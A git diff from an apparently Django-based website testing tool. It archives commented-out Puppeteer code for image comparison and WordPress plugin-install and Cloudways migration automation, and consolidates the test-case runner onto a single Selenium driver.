+#                         print(e)
+
+
+
+#                 # test images
+#                 try:
+#                     # generating new highlighted images and score via ssim
+#                     ssim_results = highlight_diffs(pre_img_path, post_img_path, i)
+#                     pre_img_diff = ssim_results['img_objs'][0]
+#                     post_img_diff = ssim_results['img_objs'][1]
+                    
+#                     # ssim scoring
+#                     ssim_img_score =  ssim_results['ssim_score'] * 100
+
+#                     # pillow scoring
+#                     pil_img_score = pil_score(pre_img, post_img)
+                    
+#                     # pixel perfect scoring
+#                     cv2_img_score = cv2_score(pre_img, post_img)
+
+#                     # weighted average
+#                     img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8
+
+#                     # saving old images to test.id path
+#                     old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i)
+#                     pre_img = old_imgs[0]
+#                     post_img = old_imgs[1]
+
+#                 except Exception as e:
+#                     print(e)
+#                     img_score = None
+#                     pre_img = None
+#                     post_img = None
+#                     pre_img_diff = None
+#                     post_img_diff = None
+
+#                 # create img test obj and add to array
+#                 img_test_obj = {
+#                     "index": i, 
+#                     "pre_img": pre_img,
+#                     "post_img": post_img,
+#                     "pre_img_diff": pre_img_diff, 
+#                     "post_img_diff": post_img_diff, 
+#                     "score": img_score,
+#                 }
+
+#                 img_test_results.append(img_test_obj)
+#                 scores.append(img_score)
+
+#             # remove local copies
+#             if post_img_obj is not None:
+#                 try:
+#                     os.remove(post_img_path)
+#                 except Exception as e:
+#                     print(e)
+#             try:        
+#                 os.remove(pre_img_path)
+#             except Exception as e:
+#                 print(e)
+
+#             i += 1
+
+#         # remove temp dir
+#         shutil.rmtree(temp_root)
+
+#         # averaging scores and storing in images_delta obj
+#         try:
+#             avg_score = statistics.fmean(scores)
+#         except:
+#             avg_score = None
+
+#         # formatting response
+#         images_delta = {
+#             "average_score": avg_score,
+#             "images": img_test_results,
+#         }
+
+#         # returning response
+#         return images_delta
+
+
+
+
+
diff --git a/app/api/utils/archive/wordpress_p.py b/app/api/utils/archive/wordpress_p.py
new file mode 100644
index 00000000..2b53dce7
--- /dev/null
+++ b/app/api/utils/archive/wordpress_p.py
@@ -0,0 +1,570 @@
+# from .driver_p import driver_init
+# import time, asyncio, uuid
+# from ..models import * 
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+
+
+
+
+
+
+# class Wordpress():
+
+
+#     def __init__(
+#         self, 
+#         login_url, 
+#         admin_url, 
+#         username, 
+#         password,
+#         email_address,
+#         destination_url,
+#         sftp_address,
+#         dbname,
+#         sftp_username,
+#         sftp_password,
+#         wait_time, 
+#         process_id
+#         ):
+#         # set all global vars
+#         self.login_url = login_url
+#         self.username = username
+#         self.password = password
+#         self.email_address = email_address
+#         self.destination_url = destination_url
+#         self.sftp_address = sftp_address
+#         self.dbname = dbname
+#         self.sftp_username = sftp_username
+#         self.sftp_password = sftp_password
+#         self.process = Process.objects.get(id=process_id)
+#         self.native_lang = 'en'
+
+#         if not admin_url.endswith('/'):
+#             admin_url = admin_url + '/'
+#         self.admin_url = admin_url
+
+#         if wait_time is None:
+#             self.wait_time = 30
+#         else:
+#             self.wait_time = wait_time
+
+#         self.navWaitOpt = {
+#             'timeout': self.wait_time * 1000,
+#             'waitUntil': 'domcontentloaded'
+#         }
+
+
+#     async def login(self):
+
+#         ''' 
+#             Tries to log into a WP site with given credentials.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         print('begining login method for ' + self.login_url)
+
+        
+#         self.driver = await driver_init(wait_time=self.wait_time)
+
+#         # init page obj 
+#         self.page = await self.driver.newPage()
+#         page_options = {
+#             'waitUntil': 'networkidle0', 
+#             'timeout': self.wait_time * 1000
+#         }
+
+#         try:
+#             await self.page.goto(self.login_url, page_options)
+#             try:
+#                 await self.page.xpath('//*[@id="user_login"]')
+#                 print('found login form')
+#             except:
+#                 try:
+#                     jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]')
+#                     await jetpack[0].click()
+#                     await self.page.xpath('//*[@id="user_login"]')
+#                     print('found login form')
+#                 except:
+#                     try:
+#                         login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]")
+#                         await login_link[0].click()
+#                         await self.page.xpath('//*[@id="user_login"]')
+#                         print('found login form')
+#                     except:
+#                         print('unable to locate login form at this path')
+#                         await self.driver.close()
+#                         return False
+                    
+    
+#         except:
+#             print('unable to locate login form at this path')
+#             await self.driver.close()
+#             return False
+
+#         user_name_elem = await self.page.xpath('//*[@id="user_login"]')
+#         await user_name_elem[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.username)
+#         time.sleep(1)
+#         passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
+#         await passworword_elem[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.password)
+#         time.sleep(1)
+#         await self.page.keyboard.press('Enter')
+#         await self.page.waitForNavigation(self.navWaitOpt)
+        
+
+#         try:
+#             try:
+#                 verify_email = await self.page.xpath('//*[@id="correct-admin-email"]')
+#                 print('need to verify email')
+#                 await verify_email[0].click()
+#                 print('clicked verify')
+#             except:
+#                 pass
+
+#             print('done with login attempt')
+
+#             try:
+#                 await self.page.xpath('//*[@id="login_error"]')
+#                 print('found login error')
+#                 await self.page.reload()
+
+#                 print('trying login again')
+#                 user_name_elem = await self.page.xpath('//*[@id="user_login"]')
+#                 await user_name_elem[0].click(clickCount=3)
+#                 await self.page.keyboard.type(self.username)
+#                 time.sleep(1)
+#                 passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
+#                 await passworword_elem[0].click(clickCount=3)
+#                 await self.page.keyboard.type(self.password)
+#                 time.sleep(1)
+#                 await self.page.keyboard.press('Enter')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+
+#                 try:
+#                     await self.page.xpath('//*[@id="login_error"]')
+#                     print('found login error again')
+#                     print('counld not login to this site')
+#                 except:
+#                     print('no login errors')
+
+#             except:
+#                 print('no login errors')
+
+#         except:
+#             print('counld not login to this site')
+            
+#             await self.driver.close()
+#             return False
+            
+
+#         # removing alerts
+#         try:
+#             deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]')
+#             await deny_btn[0].click()
+#             print('removed alert')
+#         except:
+#             pass
+#         try:
+#             # checking if url location is wp-admin
+#             admin_link = '/wp-admin/'
+#             current_url = self.page.url
+#             print('current url -> ' + current_url)
+#             if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url:
+#                 print('inside wp-admin')
+#             else:
+#                 print('not in wp-admin - navigating there now')
+#                 admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]')
+#                 admin_link = await admin_btn[0].querySelector('a')
+#                 await admin_link[0].click(clickCount=2)
+#                 print('clicked dashboard link')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+        
+#         except:
+#             print('could not login')
+#             await self.driver.close()
+#             return False
+
+        
+#         return True
+
+
+
+
+    
+#     async def begin_lang_check(self):
+
+#         try:
+#             # navigate to settings
+#             s_url = 'options-general.php'
+#             try:
+#                 settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
+#                 await settings_menu[0].click()
+#                 print('clicked settings menu')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+#                 settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
+#                 await settings[0].click()
+#                 print('clicked settings tab')
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+
+#             except:
+#                 await self.page.goto(self.page.url + s_url)
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+
+#             # finding and recording current native language
+#             lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
+#             optgroup = await lang_selector[0].querySelector('optgroup')
+#             selected_lang = await optgroup.xpath('.//option[@selected="selected"]')
+#             default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue()
+#             default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue()
+#             print("defalut lang value is " + str(default_lang))
+            
+#             if default_lang != 'en':
+
+#                 # selecting english
+#                 await lang_selector[0].select('en_CA')
+#                 print('selected english')
+
+#                 # saving settings
+#                 save_btn = await self.page.xpath('//*[@id="submit"]')
+#                 await save_btn[0].click()
+#                 print('saved lang to english')
+                
+#                 self.native_lang = default_lang_value
+#                 return True
+
+#             else:
+#                 self.native_lang = 'en'
+
+
+#         except:
+#             print('error in changing language')
+#             return False
+
+
+
+
+
+
+#     async def end_lang_check(self):
+
+#         if self.native_lang != 'en':
+
+#             try:
+#                 # navigate to settings
+#                 s_url = 'options-general.php'
+#                 try:
+#                     settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
+#                     await settings_menu[0].click()
+#                     print('clicked settings menu')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+#                     settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
+#                     await settings[0].click()
+#                     print('clicked settings tab')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+
+#                 except:
+#                     await self.page.goto(self.page.url + s_url)
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+
+#                 # selecting native lang
+#                 lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
+#                 await lang_selector[0].select(self.native_lang)
+#                 print('selected native_lang')
+
+#                 # saving settings
+#                 save_btn = await self.page.xpath('//*[@id="submit"]')
+#                 await save_btn[0].click()
+#                 print('saved native lang')
+
+#             except:
+#                 await self.driver.close()
+#                 return False
+
+#         await self.driver.close()
+#         return True
+
+
+
+#     async def install_plugin(self, plugin_name):
+
+#         # setting url for link naving
+#         plugin_menu_page = 'plugins.php'
+#         add_plugin_page = 'plugin-install.php'
+
+#         # navigating to plugin page   
+#         try:
+#             print('trying click method')
+#             plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]')
+#             await plugin_menu[0].click()
+#             await self.page.waitForNavigation(self.navWaitOpt)
+#             p_url = 'plugins.php'
+#             plugins = await self.page.xpath('.//a[@href="'+p_url+'"]')
+#             await plugins[0].click()
+#             print('clicked plugin menu')
+#             await self.page.waitForNavigation(self.navWaitOpt)
+            
+            
+#             # looking for dependencies in plugin table
+#             time.sleep(10)
+#             form = await self.page.xpath('//*[@id="bulk-action-form"]')
+#             pluginTable = await form[0].querySelector('tbody')
+#             tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
+
+#         except:
+#             print('trying link method for navigation')
+#             try:
+#                 await self.page.goto(self.admin_link + plugin_menu_page)
+#                 await self.page.waitForNavigation(self.navWaitOpt)
+                
+#                 time.sleep(10)
+#                 # looking for dependencies in plugin table
+#                 form = await self.page.xpath('//*[@id="bulk-action-form"]')
+#                 pluginTable = await form[0].querySelector('tbody')
+#                 tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
+#             except:
+#                 print('unable to find plugin table')
+#                 await self.driver.close()
+#                 return False
+
+#         if plugin_name not in tableText:
+#             try:
+#                 print('plugin not present, preparing to install')
+
+#                 time.sleep(2)
+#                 print('navigating to add plugins page')
+                
+#                 try:
+#                     url = 'plugin-install.php'
+#                     add_plugin = await self.page.xpath('//a[@href="'+url+'"]')
+#                     await add_plugin[0].click(clickCount=2)
+#                     print('clicked add plugin link')
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+                    
+#                     time.sleep(5)
+#                 except:
+#                     await self.page.goto(self.admin_url + add_plugin_page)
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+                    
+#                     time.sleep(5)
+
+                
+#                 # searching for plugin
+#                 search_form = await self.page.xpath('//input[@type="search"]')
+#                 await search_form[0].click(clickCount=3)
+#                 await self.page.keyboard.type(plugin_name)
+#                 time.sleep(1)
+#                 await self.page.keyboard.press('Enter')
+#                 time.sleep(3)
+
+#                 ##### Clicking "install" plugin ######
+#                 install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
+#                 await install[0].click(clickCount=2)
+#                 print('clicked -install plugin-')
+#                 time.sleep(30)
+            
+            
+#                 #### Clicking "activate" plugin ######
+#                 await self.page.reload()
+#                 print('reloading page')
+#                 try:
+#                     await self.page.waitForNavigation(self.navWaitOpt)
+#                 except:
+#                     pass
+#                 activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
+#                 await activate[0].click(clickCount=2)
+#                 print('clicked -Activate plugin-')
+#                 time.sleep(30)
+#                 print('Dependencies installed sucessfully')
+#                 return True
+
+#             except:
+#                 print('failed dependency installation')
+#                 await self.driver.close()
+#                 return False
+
+#         else:
+#             print('plugin already installed')
+#             return True
+
+
+#     @sync_to_async
+#     def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
+#         if info_url is not None:
+#             self.process.info_url = info_url
+#         self.process.success = successful
+#         if time_completed is not None:
+#             self.process.time_completed = time_completed
+#         if progress is not None:
+#             self.process.progress = progress
+        
+#         self.process.save()
+#         return
+
+
+
+#     async def launch_migration(self):
+#         ''' 
+#             Launches the migration plugin once Activated.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         # setting url for link naving
+#         migrate_page = 'admin.php?page=cloudways'
+#         current_url = self.page.url
+
+#         if not current_url.endswith("cloudways"):
+#             print('navigating to migration page')
+#             if self.admin_url.endswith('/'):
+#                 await self.page.goto(f'{self.admin_url}{migrate_page}')
+#             else:
+#                 await self.page.goto(f'{self.admin_url}/{migrate_page}')
+#             time.sleep(10)
+
+
+#         # wait for cloudways email field to become visible
+#         # entering self.email_address in field
+#         email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input')
+#         await email[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.email_address)
+#         print('entered cloudways email')
+
+#         # checking T&S checbox
+#         checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]')
+#         await checkbox[0].click(clickCount=1)
+#         print('checked T&S agreement')
+
+#         # clicking submit to launch migration plugin
+#         m_button = await self.page.xpath('//*[@id="migratesubmit"]')
+#         await m_button[0].click(clickCount=1)
+#         print('clicked migrate button')
+
+#         return True
+
+    
+#     async def run_migration(self):
+#         ''' 
+#             Enters data on migration page, initiates miration 
+#             and begins updating the associated `Process` with data
+#             from the page.
+
+#             returns --> True / False 
+        
+#         '''
+
+#         # check for page to fully load 
+#         print('waiting 10 sec for new page to load')
+#         time.sleep(10)
+#         ## enter all necessary data in each field
+#         await self.page.waitForNavigation(self.navWaitOpt)
+
+#         # get_element_by_name="address" -> self.destination_url
+#         destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]')
+#         await destination_url[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.destination_url)
+#         print(f'dest_url as -> {self.destination_url}')
+#         time.sleep(2)
+
+#         # get_element_by_name="newurl" -> self.sftp_address 
+#         sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]')
+#         await sftp_address[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_address)
+#         print(f'sftp_address as -> {self.sftp_address}')
+#         time.sleep(2)
+
+#         # get_element_by_name="appfolder" -> self.dbname
+#         dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]')
+#         await dbname[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.dbname)
+#         print(f'dbname as -> {self.dbname}')
+#         time.sleep(2)
+
+#         # get_element_by_name="username" -> self.sftp_username
+#         sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]')
+#         await sftp_username[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_username)
+#         print(f'sftp_username as -> {self.sftp_username}')
+#         time.sleep(2)
+
+#         # get_element_by_name="passwd" -> self.sftp_password
+#         sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]')
+#         await sftp_password[0].click(clickCount=3)
+#         await self.page.keyboard.type(self.sftp_password)
+#         print(f'sftp_password as -> {self.sftp_password}')
+#         time.sleep(2)
+
+#         print('entered all creds')
+
+#         # submit data
+#         await self.page.keyboard.press('Enter')
+#         print('pressed enter key')
+
+        
+
+#         # update self.process with info_url
+#         info_url = self.page.url
+#         await self.update_process(info_url=info_url)
+        
+
+#         done = False
+#         done_text = 'Your migration is complete!'
+#         new_progress = 0
+#         print(f'current url -> {self.page.url}')
+#         while not done:
+            
+#             # checking for progres bar
+#             try:
+#                 raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]')
+#                 new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue()
+#                 new_progress = float(new_progress.split('%')[0])
+#             except Exception as e: 
+#                 # print(e)
+#                 pass
+            
+
+#             # update self.process
+#             await self.update_process(progress=new_progress)
+
+#             # check if new_progress is 100%
+#             page_content = await self.page.content()
+#             if new_progress >= 100 or done_text in page_content:
+#                 time_completed = datetime.now()
+#                 await self.update_process(successful=True, time_completed=time_completed, progress=100)
+#                 done = True
+
+#             # checking for process errors
+#             if 'alert alert-danger' in page_content:
+#                 done = True
+#                 time_completed = datetime.now()
+#                 await self.update_process(time_completed=time_completed)
+#                 print('found an error - ending process')
+#                 return False
+
+#             time.sleep(1)
+
+
+#         return True
+
+
+
+
+
+
+#     async def run_full(self, plugin_name):
+#         data = await self.login()
+#         data = await self.begin_lang_check()
+#         data = await self.install_plugin(plugin_name)
+#         # data = await self.end_lang_check()
+#         data = await self.launch_migration()
+#         data = await self.run_migration()
+#         await self.driver.close()
+#         return data
+
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index a9bce7e6..d861d687 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1,6 +1,5 @@
-from selenium import webdriver
+from .driver import driver_init, driver_wait, quit_driver
 from selenium.webdriver.common.by import By
-from .driver_s import driver_init, driver_wait, quit_driver
 from ..models import Site, Case
 from scanerr import settings
 import time, os, json, uuid, random, boto3
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index ef161934..b3b3bf9a 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,6 +1,4 @@
-from .driver_p import driver_init as driver_p_init
-from .driver_s import driver_init as driver_s_init
-from .driver_s import driver_wait, quit_driver
+from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
 import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
@@ -23,8 +21,7 @@ class Caser():
         'testcase' : object,
     }
 
-    - Use `Caser.run_s()` to run with selenium
-    - Use `Caser.run_p()` to run with puppeteer
+    - Use `Caser.run()` to run case as Testcase
 
     Returns -> None
     """
@@ -75,42 +72,10 @@ def __init__(self, testcase: object=None):
 
 
 
-    @sync_to_async
     def update_testcase(
             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
             passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
         ) -> None:
-        # updates Tescase for a puppeteer run (async) 
-        if start_time != None:
-            self.testcase.steps[index][type]['time_created'] = str(start_time)
-        if end_time != None:
-            self.testcase.steps[index][type]['time_completed'] = str(end_time)
-        if passed != None:
-            self.testcase.steps[index][type]['passed'] = passed
-        if exception != None:
-            self.testcase.steps[index][type]['exception'] = str(exception)
-        if image != None:
-            self.testcase.steps[index][type]['image'] = str(image)
-        if time_completed != None:
-            self.testcase.time_completed = time_completed
-            test_status = True
-            for step in self.testcase.steps:
-                if step['action']['passed'] == False:
-                    test_status = False
-                if step['assertion']['passed'] == False:
-                    test_status = False
-            self.testcase.passed = test_status
-        
-        self.testcase.save()
-        return None
-
-
-
-
-    def update_testcase_s(
-            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
-            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
-        ) -> None:
         # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
@@ -138,7 +103,6 @@ def update_testcase_s(
 
 
 
-    @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
@@ -146,56 +110,7 @@ def format_element(self, element):
 
 
 
-    def format_element_s(self, element):
-        elememt = json.dumps(element).rstrip('"').lstrip('"')
-        return str(element)
-
-
-
-    
-    async def save_screenshot(self, page: object=None) -> str:
-        '''
-        Grabs & uploads a screenshot of the `page` 
-        passed in the params. 
-
-        Returns -> `image_url` <str:remote path to image>
-        '''
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
-
-        # setting id for image
-        pic_id = uuid.uuid4()
-        
-        # get screenshot
-        await page.screenshot({'path': f'{pic_id}.png'})
-
-        # seting up paths
-        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
-        root_path = settings.AWS_S3_URL_PATH
-        image_url = f'{root_path}/{remote_path}'
-    
-        # upload to s3
-        with open(image, 'rb') as data:
-            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-            )
-        # remove local copy
-        os.remove(image)
-
-        # returning image url
-        return image_url
-
-
-
-    
-    def save_screenshot_s(self) -> str:
+    def save_screenshot(self) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
@@ -234,9 +149,9 @@ def save_screenshot_s(self) -> str:
         # returning image url
         return image_url
 
+    
 
 
-    @sync_to_async
     def format_exception(self, exception: str) -> str:
         """ 
         Cleans the passed `exception` of any 
@@ -254,41 +169,21 @@ def format_exception(self, exception: str) -> str:
 
         return new_exception
 
-
     
 
-    def format_exception_s(self, exception: str) -> str:
-        """ 
-        Cleans the passed `exception` of any 
-        system refs and unnecessary info
 
-        Expects: {
-            "exception": str
-        }
-
-        Returns -> str
-        """
-
-        split_e = str(exception).split('Stacktrace:')
-        new_exception = split_e[0]
-
-        return new_exception
-
-    
-
-
-    def run_s(self) -> None:
+    def run(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
 
         Returns -> None
         """
 
-        print(f'beginning testcase for {self.site_url}  \
-            using case {self.case_name}')
+        print(f'beginning testcase for {self.site_url} using case {self.case_name}')
         
         # initate driver
-        self.driver = driver_s_init(
+        self.driver = driver_init(
+            browser=self.configs['browser'],
             window_size=self.configs['window_size'], 
             device=self.configs['device']
         )
@@ -310,7 +205,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -326,14 +221,14 @@ def run_s(self) -> None:
                     )
                     self.driver.get(f'{self.site_url}{step["action"]["path"]}')
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -345,7 +240,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'scroll':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -358,14 +253,14 @@ def run_s(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # get image
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -377,7 +272,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -385,7 +280,7 @@ def run_s(self) -> None:
                 try:
                     print(f'clicking element -> {step["action"]["element"]}')
                     # using selenium, find and click on the 'element' 
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                                     
                     # scrolling to element using plain JavaScript
@@ -397,14 +292,14 @@ def run_s(self) -> None:
                     # clicking element
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -415,7 +310,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -423,7 +318,7 @@ def run_s(self) -> None:
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
                     # using selenium, find and change the 'element'.value
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -436,14 +331,14 @@ def run_s(self) -> None:
                     value = step["action"]["value"]
                     element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -454,7 +349,7 @@ def run_s(self) -> None:
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -469,10 +364,10 @@ def run_s(self) -> None:
                         if elm != None and len(elm) != 0:
                             break
                         n -= 1
-                    selector = self.format_element_s(elm)
+                    selector = self.format_element(elm)
                                 
                     # using selenium, find elemenmtn and send 'Key' event
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -484,14 +379,14 @@ def run_s(self) -> None:
                     # using selenium, press the selected key
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
                     time.sleep(int(self.configs['min_wait_time']))
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
                 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -502,7 +397,7 @@ def run_s(self) -> None:
             if step['assertion']['type'] == 'match':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     start_time=datetime.now()
                 )
@@ -510,7 +405,7 @@ def run_s(self) -> None:
                 try:
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -527,14 +422,14 @@ def run_s(self) -> None:
 
                     # assert text
                     assert elementText == step["assertion"]["value"]
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='action', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -545,7 +440,7 @@ def run_s(self) -> None:
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='assertion', 
                     start_time=datetime.now()
                 )
@@ -553,7 +448,7 @@ def run_s(self) -> None:
                 try:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
-                    selector = self.format_element_s(step["action"]["element"])
+                    selector = self.format_element(step["action"]["element"])
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
 
                     # scrolling to element and back down a bit
@@ -564,14 +459,14 @@ def run_s(self) -> None:
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    image = self.save_screenshot_s()
+                    image = self.save_screenshot()
 
                 except Exception as e:
-                    image = self.save_screenshot_s()
-                    exception = self.format_exception_s(e)
+                    image = self.save_screenshot()
+                    exception = self.format_exception(e)
                     passed = False
 
-                self.update_testcase_s(
+                self.update_testcase(
                     index=i, type='assertion', 
                     end_time=datetime.now(), 
                     passed=passed, 
@@ -581,7 +476,7 @@ def run_s(self) -> None:
 
